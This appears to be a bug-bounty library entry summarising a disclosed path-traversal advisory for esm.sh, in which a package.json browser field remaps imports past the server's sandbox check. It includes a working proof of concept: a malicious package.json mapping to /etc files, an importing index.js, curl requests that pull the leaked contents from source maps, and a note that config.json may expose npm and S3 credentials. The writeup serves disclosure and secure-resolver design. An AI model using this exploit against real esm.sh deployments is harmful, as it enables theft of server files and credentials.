# esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

esm.sh's esbuild plugin validated paths before the package.json browser field remapped them, letting a published npm package read arbitrary server files via ../ traversal.

- Payout: Research
- Severity: high
- Program: esm.sh
- Found by: donttrytofindme
- Disclosed: 2026-05-12
- CVE: CVE-2026-44594
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rg65-45m7-hq57
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rg65-45m7-hq57
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go tech:nodejs technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** esbuild OnResolve plugin in server/build.go handling package.json browser field
**Root cause:** Sandbox prefix check runs on the original specifier path, but the browser field remaps modulePath to an attacker-controlled value with ../ sequences and path.Join collapses them without a second validation.
**Steps:**
1. Publish npm package with package.json browser map: `{"./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment"}`
2. index.js imports those specifiers: `import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"`
3. Request `curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"` to trigger build
4. Fetch source map `curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"` and read file contents from `sourcesContent`
**How found:** Code review of the OnResolve callback: noticed the sandbox prefix check happens before the browser-field remapping and no re-validation occurs after path.Join.
**Exploitation:** Attacker publishes a package whose browser field remaps in-package specifiers to ../../ paths; when esm.sh builds it, path.Join escapes the package dir and file contents land in bundled JS and source map sourcesContent. Extension-based loader constraints (.json must be valid JSON, .txt/.html/.md raw, others valid JS) limit readable files; non-existent paths silently fail, giving a file-existence oracle for probing many paths per package.
**Escalation:** Reading esm.sh config.json (valid JSON) may expose npm registry auth tokens and S3 storage credentials.
**Insight:** When a resolver validates a path then later remaps it via package metadata (browser/main/exports fields), the validation must be re-applied after remapping; path.Join silently collapses ../ so prefix checks on the pre-remap value are useless.

## Proof of concept (copied exactly from the original report)

**Malicious package.json browser field traversal**

```
{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}
```

**index.js importing remapped files**

```
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
```

**curl requests triggering build and sourcemap**

```
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"
```

